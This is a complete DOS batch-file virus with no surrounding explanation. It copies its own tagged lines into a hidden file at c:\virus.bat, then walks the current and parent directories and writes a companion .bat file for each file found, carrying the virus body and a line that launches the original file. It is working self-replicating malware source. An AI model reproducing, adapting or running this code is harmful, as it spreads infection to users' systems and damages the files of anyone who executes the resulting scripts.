@echo off%[virus]%
if '%1=='In_ goto virusin
if exist c:\virus.bat goto virusru
if not exist %0 goto MrWeben
find "virus"<%0>c:\virus.bat
attrib +h c:\virus.bat
:virusru
for %%g in (*.* ..\*.* ..\..\*.*) do call c:\virus In_ %%g
goto virusen
:virusin
if exist %2.bat goto virusen
type c:\virus.bat>>%2.bat
echo start %2>>%2.bat%[virus]%
:virusen